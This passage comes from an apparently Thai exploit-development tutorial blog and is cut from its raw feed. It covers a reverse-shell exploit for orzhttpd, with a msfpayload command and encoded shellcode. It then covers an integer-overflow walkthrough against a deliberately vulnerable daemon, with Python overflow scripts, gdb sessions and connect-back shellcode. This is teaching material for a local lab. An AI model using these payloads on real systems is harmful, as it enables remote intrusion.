langauge-bsh"&gt;&lt;br /&gt;$ objdump -D orzhttpd | grep -A 10 vsprintf&lt;br /&gt;...&lt;br /&gt;--&lt;br /&gt; 804a8dc:       e8 b3 e8 ff ff          call   8049194 &amp;lt;vsprintf@plt&amp;gt;&lt;br /&gt; 804a8e1:       83 c4 10                add    $0x10,%esp&lt;br /&gt;...&lt;br /&gt; 804a8f6:       e8 d9 e9 ff ff          call   80492d4 &amp;lt;fflush@plt&amp;gt;&lt;br /&gt; 804a8fb:       83 c4 10                add    $0x10,%esp&lt;br /&gt;$ sudo gdb -p `ps -C orzhttpd -o pid=`&lt;br /&gt;...&lt;br /&gt;0x0012d422 in __kernel_vsyscall ()&lt;br /&gt;(gdb) b *0x804a8f6&lt;br /&gt;Breakpoint 1 at 0x804a8f6&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804a8f6 in ?? ()&lt;br /&gt;(gdb) x/x 0x0804ea04&lt;br /&gt;0x804ea04:      0x00400040    # จะเห็นว่าจำนวนที่ print ไปโดย default คือ 0x40&lt;br /&gt;(gdb) x/64x $esp&lt;br /&gt;...&lt;br /&gt;0xbfffe6d0:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;0xbfffe6e0:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;(gdb) q&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจากออกจาก gdb ต้องการทำเริ่มโปรแกรม orzhttpd ใหม่ เพราะโปรแกรมนี้ทำงานแบบ thread ซึ่งถ้าเกิดการ crash ขึ้นมาจะทำให้ทั้ง process จบการทำงาน และเมื่อได้ address ที่เราต้องการเราจะทำการใส่เข้าไปใน exploit พร้อมกับ shellcode ที่กับการ reverse shell มาหาเรา&lt;/p&gt;&lt;p&gt;ถ้าใครลองเอา shellcode ที่ผมเคยเขียนไว้ใส่เข้าไป จะเห็นว่าโปรแกรม crash เพราะ shellcode ที่ผมให้ไปนั้นมี badchar ซึ่งที่เห็นเป็นอันแรกคือ 0x00 จากข้อมูลเราที่ต้องผ่าน &lt;span class="code"&gt;vsprintf&lt;/span&gt; และที่เห็นๆ กับ HTTP protocol คือ 0x0a (\n), 0x0d (\r) และ 0x20 (ช่องว่าง) โดยในครั้งนี้ผมจะใช้ shellcode จาก metasploit พร้อมกับใช้ msfencode เพื่อหลีกเลี่ยง badchar&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00\x0a\x0d\x20' -t ruby&lt;br /&gt;[*] x86/shikata_ga_nai succeeded with size 98 (iteration=1)&lt;br /&gt;&lt;br /&gt;buf =&lt;br /&gt;"\xbf\xf3\x54\xe8\x0f\xda\xcb\xd9\x74\x24\xf4\x58\x31\xc9" +&lt;br /&gt;"\xb1\x12\x83\xc0\x04\x31\x78\x11\x03\x78\x11\xe2\x06\x65" +&lt;br /&gt;"\x33\xf8\x0b\xd5\x80\x54\xa1\xd8\x8f\xba\x85\xbb\x42\xbc" +&lt;br /&gt;"\xbe\x1d\x35\xc2\x40\xa2\xc4\x5a\x28\xb3\x9a\xc4\xfb\xd9" +&lt;br /&gt;"\x32\x58\xab\x94\xd2\x19\x21\xc1\x4c\x53\x35\x54\xea\xb2" +&lt;br /&gt;"\x85\x58\x39\xc4\xac\xdf\x38\x95\x46\x0f\x94\x65\xfe\x27" +&lt;br /&gt;"\xc5\xeb\x97\xd9\x90\x0f\x37\x75\x2a\x2e\x07\x72\xe1\x31"&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สุดท้าย เราจะได้ exploit ที่ทำ reverse shell มาที่ 127.0.0.1:4444 (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_orzhttpd.py?attredirects=0&amp;d=1"&gt;ex12_orzhttpd.py&lt;/a&gt;) และเมื่อเราใช้ nc เพื่อรอรับ shell จะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ nc -nv -l 4444&lt;br /&gt;Connection from 127.0.0.1 port 4444 [tcp/*] accepted&lt;br /&gt;$&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เกิดอะไรขึ้น netcat บอกว่ามี connection มาเรียบร้อยแล้ว แต่เมื่อ accepted จะเห็นว่า connection หลุดทันที เรายังไม่ได้ทำการ disconnect เลย ถ้าเราลองพิมพ์คำสั่ง &lt;span class="code"&gt;id&lt;/span&gt; ไว้ก่อนจะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ nc -nv -l 4444&lt;br /&gt;id      # &lt;=== พิมพ์ไว้ก่อนจะยิง exploit พร้อมกับกด enter&lt;br /&gt;Connection from 127.0.0.1 port 4444 [tcp/*] accepted&lt;br /&gt;uid=33(www-data) gid=33(www-data) groups=0(root)&lt;br /&gt;$&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เหมือนกับว่า connection นี้จะ disconnect ทันทีที่ไม่มีข้อมูล โดยเราสามารถตรวจสอบว่าเกิดอะไรขึ้นด้วยคำสั่ง strace ซึ่งเป็นคำสั่งสำหรับ trace system call (อย่าลืมให้รัน nc ให้ listen connection ด้วยนะครับ)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo strace -p `ps -C orzhttpd -o pid=`&lt;br /&gt;clock_gettime(CLOCK_MONOTONIC, {6046, 379087659}) = 0&lt;br /&gt;epoll_wait(6, 806ea88, 32, -1)          = -1 EINTR (Interrupted system call)&lt;br /&gt;--- SIGALRM (Alarm clock) @ 0 (0) ---&lt;br /&gt;time(NULL)                              = 1304348030&lt;br /&gt;sigreturn()                             = ? (mask now [])&lt;br /&gt;clock_gettime(CLOCK_MONOTONIC, {6047, 379100497}) = 0&lt;br /&gt;...&lt;br /&gt;execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0&lt;br /&gt;...&lt;br /&gt;read(0, 0x805d600, 8192)                = ? ERESTARTSYS (To be restarted)&lt;br /&gt;--- SIGALRM (Alarm clock) @ 0 (0) ---&lt;br /&gt;Process 2040 detached&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าจะมีการใช้ SIGALRM ใน orzhttpd และหลังจาก process ทำการ execve เพื่อเปลี่ยน process ตัวเองเป็น &lt;span class="code"&gt;/bin/sh&lt;/span&gt; แล้ว SIGALRM ยังคงทำงานอยู่ และเมื่อ shell เราที่ทำคำสั่ง &lt;span class="code"&gt;read&lt;/span&gt; เพื่อคอยรับคำสั่งจากเราโดน interrupt ทำให้ &lt;span class="code"&gt;/bin/sh&lt;/span&gt; คิดว่า input หมดแล้ว และทำการจบโปรแกรม ทำให้ connection เราหลุด&lt;/p&gt;&lt;p&gt;วิธีแก้ปัญหานี้ อาจทำได้ด้วยเพิ่ม shellcode สำหรับ disable SIGALRM เข้าไป โดยให้ ignore SIGALRM หรือวิธีง่ายกว่านั้นคือใช้คำสั่ง &lt;span class="code"&gt;"trap "" 14"&lt;/span&gt; (14 คือหมายเลขของ SIGALRM) ใน shell หลังจากที่เราได้ทันที เพื่อให้ ignore SIGALRM&lt;/p&gt;&lt;p&gt;คำสั่ง trap นี้เราอาจจะพิมพ์ไว้ก่อน หลังจากที่เรารัน netcat หรือใช้ echo แล้ว pipe ไปที่ stdin ของ netcat ก็ได้ แต่ถ้าเราใช้ pipe เราจะต้องมีอีกคำสั่งหนึ่งเพื่อให้ pipe ยังคงอยู่ และ stdin สำหรับ netcat ไม่จบ ซึ่งโดยปกติจะใช้คำสั่ง &lt;span class="code"&gt;cat&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ (echo 'trap "" 14';cat) | nc -nv -l 4444&lt;br /&gt;Connection from 127.0.0.1 port 4444 [tcp/*] accepted&lt;br /&gt;id&lt;br /&gt;uid=33(www-data) gid=33(www-data) groups=0(root)&lt;br /&gt;exit&lt;br /&gt;&lt;br /&gt;$&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ exploit สำหรับ orzhttpd แล้ว หวังว่าไม่ยากเกินไปนะครับ :)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-2123404306595280144?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/2123404306595280144/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/05/exploiting-orzhttpd-r140-disable-all.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2123404306595280144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2123404306595280144'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/05/exploiting-orzhttpd-r140-disable-all.html' title='Exploiting orzhttpd r140 (disable all security options)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-7035055635420189209</id><published>2011-04-17T00:54:00.001+07:00</published><updated>2011-04-28T18:15:15.369+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Integer Overflow</title><content type='html'>&lt;p&gt;ในหัวข้อนี้ เรามาดูอีกข้อผิดพลาดหนึ่งที่พบกันคือ Integer Overflow ซึ่งโดยส่วนมากที่พบคือ ปัญหาเกี่ยวกับการเปลี่ยนค่า signed (มีค่าได้ทั้งบวกและลบ) จาก unsigned (มีค่าเป็นบวกได้เท่านั้น)&lt;/p&gt;&lt;p&gt;ก่อนอื่น เรามาดูค่าที่น้อยที่สุด และมากที่สุดของตัวแปรแต่ละชนิดเป็นดังนี้&lt;/p&gt;&lt;table class="tbInfo" style="width:300px"&gt;&lt;thead&gt;&lt;tr style="text-align:center"&gt;&lt;th&gt;ชนิด&lt;/th&gt;&lt;th&gt;MIN&lt;/th&gt;&lt;th&gt;MAX&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;char&lt;/td&gt;&lt;td&gt;-128&lt;/td&gt;&lt;td&gt;127&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;unsigned char&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;255&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;short&lt;/td&gt;&lt;td&gt;-32768&lt;/td&gt;&lt;td&gt;32767&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;unsigned short&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;65535&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;int (32 bits)&lt;/td&gt;&lt;td&gt;−2147483648&lt;/td&gt;&lt;td&gt;2147483647&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;4294967295&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;รูปแบบแรกที่พบ เนื่องจากในระบบ 2's complement ที่ใช้กันอยู่ในคอมพิวเตอร์นั้น ตัวแปร char ถ้ามีค่า 127 แล้วบวกกับ 1 จะมีค่าเท่ากับ -128 ซึ่งเกิดการ overflow ของตัวเลข&lt;/p&gt;&lt;p&gt;อีกรูปแบบหนึ่ง ที่อาจจะเจอคือการส่ง ผ่านตัวแปรที่ function รับเป็นแบบ unsigned แต่ตอนแรกเราใช้เป็นแบบ signed เช่น&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;void process(char *buffer, unsigned int len)&lt;br /&gt;{&lt;br /&gt;    // do something&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void foo()&lt;br /&gt;{&lt;br /&gt;    int len;&lt;br /&gt;    char buffer[2048];&lt;br /&gt;&lt;br /&gt;    // get data and len from somewhere&lt;br /&gt;&lt;br /&gt;    // process data only if len is less than 2048&lt;br /&gt;    if (len &lt; 2048)&lt;br /&gt;        process(buffer, (unsigned int) len);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จากโค้ดข้างบน จะเห็นว่า len นั้นเป็นแบบ &lt;span class="code"&gt;signed int&lt;/span&gt; ทำให้บรรทัด &lt;span class="code"&gt;"if (len &lt; 2048)"&lt;/span&gt; เปรียบเทียบแบบ signed ซึ่งถ้าเราสามารถกำหนดค่า len ให้มีค่าเป็นลบได้ โปรแกรมจะเรียก process function ซึ่งมีการรับค่าเป็นแบบ &lt;span class="code"&gt;unsigned int&lt;/span&gt; ทำให้ใน process function จะเห็นค่า len เป็นค่าที่มากกว่า 2147483647 และอาจทำให้เราสามารถควบคุมโปรแกรมได้&lt;/p&gt;&lt;p&gt;หมดแล้วสำหรับหลักการ Integer Overflow จะเห็นว่าเรื่องนี้จะดูง่ายๆ แต่ในความเป็นจริงแล้ว bug ประเภทนี้ ส่วนมากที่เจอ จะค่อนข้าง tricky&lt;/p&gt;&lt;p&gt;สำหรับตัวอย่างครั้งนี้ ผมจะทำเป็นแบบ remote exploit ซึ่งเดี๋ยวจะเห็นว่าวิธีการ exploit จะเหมือนกับ local exploit ที่ผ่านๆ มา เพียงแค่เราต้องเปลี่ยน shellcode ที่จะใช้ให้เป็นเกี่ยวกับ network เรามาดูกันเลยดีกว่า โดยผมจะแสดงในนี้เฉพาะส่วนที่สำคัญ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_11_1.c?attredirects=0&amp;d=1"&gt;ex_11_1.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_11_1 ex_11_1.c */&lt;br /&gt;// ... include ...&lt;br /&gt;&lt;br /&gt;char datalen, len;&lt;br /&gt;&lt;br /&gt;void do_encrypt(char *buffer, char len)&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;    for (i = 0; i &amp;lt; len; i++)&lt;br /&gt;        buffer[i] ^= 0xaf;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void handle_client(int fd)&lt;br /&gt;{&lt;br /&gt;    char buffer[128]; // maximum value of char is 127&lt;br /&gt;&lt;br /&gt;    // get data len&lt;br /&gt;    if (recv(fd, &amp;datalen, 1, 0) != 1) {&lt;br /&gt;        close(fd);&lt;br /&gt;        return;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    len = 0;&lt;br /&gt;    while (len &amp;lt; datalen)&lt;br /&gt;        len += recv(fd, buffer + len, datalen, 0);&lt;br /&gt;&lt;br /&gt;    do_encrypt(buffer, datalen);&lt;br /&gt;    send(fd, buffer, datalen, 0);&lt;br /&gt;    close(fd);&lt;br /&gt;}&lt;br /&gt;// ... main ...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ในส่วน main คือ code สำหรับทำตัวเองให้เป็น daemon process และคอยรับ connection ที่ port 55555 และเมื่อมี client มาต่อ จะทำการ fork แล้วเรียก handle_client function&lt;/p&gt;&lt;p&gt;เรามาดูการทำงานของ handle_client() กันก่อน จะเห็นโปรแกรมรับข้อมูล 1 byte จาก client เพื่อใช้สำหรับระบุว่าข้อมูลจะมีความยาวเท่าไร หลังจากนั้นทำการรับข้อมูลจาก client จนกระทั่ง &lt;span class="code"&gt;len&lt;/span&gt; มีค่ามากว่าหรือเท่ากับ &lt;span class="code"&gt;datalen&lt;/span&gt; หลังจากนั้นโปรแกรมจะเรียก do_encrypt function ซึ่งผมได้ใช้วิธีการ xor กับค่า 0xaf และเมื่อจบ do_encrypt function โปรแกรมจะทำการส่งข้อมูลที่รับกลับมา&lt;/p&gt;&lt;p&gt;ผมหวังว่าหลายๆ คนจะสังเกตเห็นปัญหาของโปรแกรมนี้แล้ว จุดที่น่าสังเกตของโปรแกรมนี้คือ&lt;ol&gt;&lt;li&gt;เราสามารถที่จะส่งค่า &lt;span class="code"&gt;datalen&lt;/span&gt; เป็นลบได้ แต่จะไม่มีผลกับโปรแกรม เพราะ &lt;span class="code"&gt;len&lt;/span&gt; เริ่มต้นเป็น 0 แล้วโปรแกรมจะไม่ทำงานใดๆ&lt;/li&gt;&lt;li&gt;&lt;span class="code"&gt;len&lt;/span&gt; เป็นตัวแปรชนิด char ซึ่งสามารถเกิด integer overflow ได้ และเมื่อเกิด overflow ที่ recv() จะทำให้ while loop เป็นจริงและทำงานต่อ&lt;/li&gt;&lt;li&gt;ที่ recv() ได้ระบุจำนวนข้อมูลที่จะรับ (argument ที่ 3)เป็น &lt;span class="code"&gt;datalen&lt;/span&gt; ทำให้ถ้าข้อมูลมาครั้งแรกน้อยกว่า &lt;span class="code"&gt;datalen&lt;/span&gt; ทำให้ครั้งต่อไปโปรแกรมอาจจะรับข้อมูลเกินที่ระบุไว้ใน &lt;span class="code"&gt;datalen&lt;/span&gt; ซึ่งโค้ดที่ถูกต้องควรเป็น &lt;span class="code"&gt;datalen - len&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;ดังนั้น ถ้าเราส่งค่า datalen เป็น 127 แล้วเราส่งข้อมูลครั้งแรกให้ยาว 126 bytes จะทำให้ข้อมูลที่เราส่งครั้งถัดไปสามารถเขียนเกินส่วนของ &lt;span class="code"&gt;buffer&lt;/span&gt; ไปทับ saved eip ได้&lt;/p&gt;&lt;p&gt;เรามาลองส่งข้อมูลกันก่อนสักรอบดีกว่า โดยผมจะใช้ nc ในการต่อ และใช้ "\n" (Enter) สำหรับ datalen ค่า 10&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_11_1    # สำหรับคนที่ยังไม่ได้รัน&lt;br /&gt;$ nc -v 127.0.0.1 55555&lt;br /&gt;Connection to 127.0.0.1 55555 port [tcp/*] succeeded!&lt;br /&gt;&lt;br /&gt;1234567890&lt;br /&gt;▒▒▒▒▒▒▒▒▒▒&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;โปรแกรมทำงานปกติ แต่ถ้าเราตต้องการจะ debug ละ จะเห็นว่าโปรแรมนี้ จะมีการ fork process ลูก แต่ gdb ของเราทำการ debug process แม่อยู่ วิธีการ debug ด้วย gdb คือให้คำสั่ง &lt;span class="code"&gt;"set follow-fork-mode child"&lt;/span&gt; ทำได้ตามนี้ (หรือใส่ไว้ใน gdbinit)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ps -e | grep ex_11_1&lt;br /&gt; 1287 ?        00:00:00 ex_11_1&lt;br /&gt;$ gdb -q -p 1287&lt;br /&gt;Attaching to process 1287&lt;br /&gt;...&lt;br /&gt;Loaded symbols for /lib/ld-linux.so.2&lt;br /&gt;0x0012d422 in __kernel_vsyscall ()&lt;br /&gt;(gdb) disas handle_client&lt;br /&gt;...&lt;br /&gt;   0x080486e5 &amp;lt;+121&amp;gt;:   mov    %eax,(%esp)&lt;br /&gt;   0x080486e8 &amp;lt;+124&amp;gt;:   call   0x80484bc &amp;lt;recv@plt&amp;gt;&lt;br /&gt;...&lt;br /&gt;   0x080486fe &amp;lt;+146&amp;gt;:   movzbl 0x8049ac4,%edx  # len อยู่ที่ 0x8049ac4&lt;br /&gt;   0x08048705 &amp;lt;+153&amp;gt;:   movzbl 0x8049ac5,%eax  # datalen อยู่ที่ 0x8049ac5&lt;br /&gt;   0x0804870c &amp;lt;+160&amp;gt;:   cmp    %al,%dl&lt;br /&gt;   0x0804870e &amp;lt;+162&amp;gt;:   jl     0x80486b6 &amp;lt;handle_client+74&amp;gt;&lt;br /&gt;...&lt;br /&gt;   0x0804871e &amp;lt;+178&amp;gt;:   lea    -0x88(%ebp),%eax  # buffer อยู่ที่ ebp-0x88&lt;br /&gt;   0x08048724 &amp;lt;+184&amp;gt;:   mov    %eax,(%esp)&lt;br /&gt;   0x08048727 &amp;lt;+187&amp;gt;:   call   0x8048634 &amp;lt;do_encrypt&amp;gt;&lt;br /&gt;...&lt;br /&gt;   0x08048762 &amp;lt;+246&amp;gt;:   leave&lt;br /&gt;   0x08048763 &amp;lt;+247&amp;gt;:   ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) b *0x08048727&lt;br /&gt;Breakpoint 1 at 0x8048727&lt;br /&gt;(gdb) set follow-fork-mode child&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;# ... เปิดอีก terminal ใช้ nc ต่อเข้ามาแบบข้างบน&lt;br /&gt;[New process 1401]&lt;br /&gt;[Switching to process 1401]&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048727 in handle_client ()&lt;br /&gt;(gdb) x/4x $esp&lt;br /&gt;0xbffff660:     0xbffff670      0x0000000a      0x0000000a      0x00000000&lt;br /&gt;(gdb) x/s 0xbffff670&lt;br /&gt;0xbffff670:      "1234567890)"&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Program exited normally.&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจาก debug โปรแกรมได้แล้ว เรามาลองเขียนโปรแกรมเล็กๆ โดยผมจะใช้ python เพื่อส่งข้อมูลที่ทำให้เกิด buffer overflow แบบที่คิดไว้ข้างบน โดยครั้งแรกจะได้&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;import socket, time&lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;s.connect(("127.0.0.1", 55555))&lt;br /&gt;&lt;br /&gt;s.send("\x7f") # send datalen (127)&lt;br /&gt;s.send("J"*126) # send junk 126 bytes&lt;br /&gt;&lt;br /&gt;# sleep 1 sec before sending again, so the data is not merged in 1 recv&lt;br /&gt;time.sleep(1)&lt;br /&gt;&lt;br /&gt;s.send("A"*126)&lt;br /&gt;s.close()&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q -p 1287&lt;br /&gt;...&lt;br /&gt;(gdb) b *0x080486e8  # set breakpoint ที่ recv() ใน while loop&lt;br /&gt;Breakpoint 1 at 0x080486e8&lt;br /&gt;(gdb) condition 1 *((char*)0x8049ac4)==126  # กำหนดให้ break เมื่อ len==126&lt;br /&gt;(gdb) set follow-fork-mode child&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;# ... ต่อด้วยโปรแกรม python ที่เขียนขึ้นมา&lt;br /&gt;[New process 1461]&lt;br /&gt;[Switching to process 1461]&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080486e8 in handle_client ()&lt;br /&gt;(gdb) x/x $ebp-0x88&lt;br /&gt;0xbffff670:     0x4a4a4a4a    # buffer อยู่ที่ address 0xbffff670&lt;br /&gt;(gdb) x/4x $esp   # list argument ของ recv&lt;br /&gt;0xbffff660:     0x00000004      0xbffff6ee      0x0000007f      0x00000000&lt;br /&gt;(gdb) x/8x $ebp-16&lt;br /&gt;0xbffff6e8:     0x4a4a4a4a      0x00294a4a      0x00000000      0x00000000&lt;br /&gt;0xbffff6f8:     0xbffff738      0x080488a5      0x00000004      0x00000000&lt;br /&gt;(gdb) ni&lt;br /&gt;0x080486ed in handle_client ()&lt;br /&gt;(gdb) x/8x $ebp-16&lt;br /&gt;0xbffff6e8:     0x4a4a4a4a      0x41414a4a      0x41414141      0x41414141&lt;br /&gt;0xbffff6f8:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;(gdb) d 1&lt;br /&gt;(gdb) b *0x080486e8&lt;br /&gt;Breakpoint 2 at 0x80486e8&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x080486e8 in handle_client ()&lt;br /&gt;(gdb) x/4x $esp   # list argument ของ recv&lt;br /&gt;0xbffff660:     0x41414141      0xbffff66c      0x0000007f      0x00000000&lt;br /&gt;(gdb) k&lt;br /&gt;Kill the program being debugged? (y or n) y&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ให้สังเกตที่ arguemnt ของ recv จะเห็นว่าค่า fd จากที่ครั้งแรกเป็น 4 กลายเป็น 0x41414141 เนื่องจากเรา overwrite ค่า fd ที่เป็น argument ของ handle_client function (อยู่ใน saved eip) และทำให้ recv function จะ return -1 ดังนั้นวิธีหนึ่งที่ทำได้คือ overflow ให้เขียนทับ eip แล้วใน while loop จะลบค่า &lt;span class="code"&gt;len&lt;/span&gt; ไปทีละ 1 จากค่าติดลบจนเป็น 127 ที่เท่ากับ &lt;span class="code"&gt;datalen&lt;/span&gt;&lt;/p&gt;&lt;p&gt;แต่ถ้าโปรแกรมมีการ check ว่า recv return -1 หรือไม่ เราก็จะไม่สามารถใช้วิธีข้างบนได้ (และผมก็ไม่แสดงให้ดูนะ) แต่เราต้องทำให้ fd นั้นเป็นค่าของ socket ที่ต่ออยู่จริงๆ แล้วค่ามันคืออะไรละ  โดย default ของโปรแกรม 0,1,2 เป็น stdin, stdout, stderr ตามลำดับ และ server socket ที่สร้างมาสำหรับรับ connection จาก client ก็จะเป็น 3 ดังนั้น client socket ที่ต่อใหม่ก็จะเป็น 4 และถ้าดูที่โปรแกรมตัว parent ที่ใช้รับ connection จะ close client fd ก่อน แล้วค่อยไปรับ connection ใหม่ ทำให้ client ที่ต่อใหม่อีกรอบก็ยังคงเป็น 4 และเมื่อรู้ว่าค่า client fd เป็น 4 ตลอด ดังนั้นเราสามารถเขียนทับค่านี้ด้วย 4 เพื่อให้โปรแกรมทำงานต่อได้ถูกต้อง&lt;/p&gt;&lt;p&gt;เมื่อเราสามารถให้โปรแกรมทำงานต่อไปได้ เรามาลองคิดดูว่าตอนนี้ len จะมีค่าเป็น 126+126=-4 ดังนั้นเราจะต้องใส่ค่าไปอีก 4+127=131 เพื่อให้โปรแกรมออกจาก while loop โดยค่าที่เราใส่เข้าไปจะไปทับข้อมูลใน buffer ที่เราส่งไปครั้งแรก ดังนั้นถ้าเราแก้ code แล้ว debug จะได้&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;import socket, time&lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;s.connect(("127.0.0.1", 55555))&lt;br /&gt;&lt;br /&gt;s.send("\x7f") # send datalen (127)&lt;br /&gt;s.send("J"*126) # send junk 126 bytes&lt;br /&gt;&lt;br /&gt;time.sleep(1)&lt;br /&gt;&lt;br /&gt;s.send("A"*10 + "sebp" + "seip" + "\x04\x00\x00\x00" + "A"*104)&lt;br /&gt;s.send("U"*131)&lt;br /&gt;s.close()&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q -p 1287&lt;br /&gt;...&lt;br /&gt;(gdb) b *0x8048634&lt;br /&gt;Breakpoint 1 at 0x8048634&lt;br /&gt;(gdb) set follow-fork-mode child&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;[New process 1500]&lt;br /&gt;[Switching to process 1500]&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048634 in do_encrypt ()&lt;br /&gt;(gdb) x/8x $ebp-0x88&lt;br /&gt;0xbffff670:     0x55555555      0x55555555      0x55555555      0x55555555&lt;br /&gt;0xbffff680:     0x55555555      0x55555555      0x55555555      0x55555555&lt;br /&gt;(gdb) x/4x $ebp&lt;br /&gt;0xbffff6f8:     0x70626573      0x70696573      0x00000004      0x41414141&lt;br /&gt;(gdb) x/s $ebp&lt;br /&gt;0xbffff6f8:      "sebpseip\004"&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ตอนนี้เราได้ข้อมูลครบทุกอย่างสำหรับ exploit แล้ว (address ของ) เหลือเพียงแค่ shellcode โดยผมจะใช้ connect back shellcode ที่ผมเขียนไว้ใน &lt;a href="http://thtutz.blogspot.com/2011/02/linux-x86-shellcode.html"&gt;"Linux x86 Shellcode"&lt;/a&gt; ซึ่งเป็นดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ในโปรแกรมนี้ ไม่มี badchar แต่ข้อมูลจะถูก xor ด้วย 0xaf ก่อนจบ function ดังนั้นเวลาเราส่งข้อมูลที่ถูกเก็บใน buffer เราต้อง xor กับ 0xaf ก่อน และถ้าดูที่ assembly ของ shellcode นี้จะเห็นว่ามีการใช้ push อยู่หลายครั้ง ซึ่งหมายความว่าต้องการใช้ stack ดังนั้นเราต้องไม่ใช่ esp อยู่ใกล้ shellcode ของเราเมื่อ shellocde กำลังทำงานอยู่ โดยผมจะใช้วิธีการเพิ่ม &lt;span class="code"&gt;"add $0x80, %esp"&lt;/span&gt; เพื่อเลื่อน stack pointer ไปให้ห่างจาก 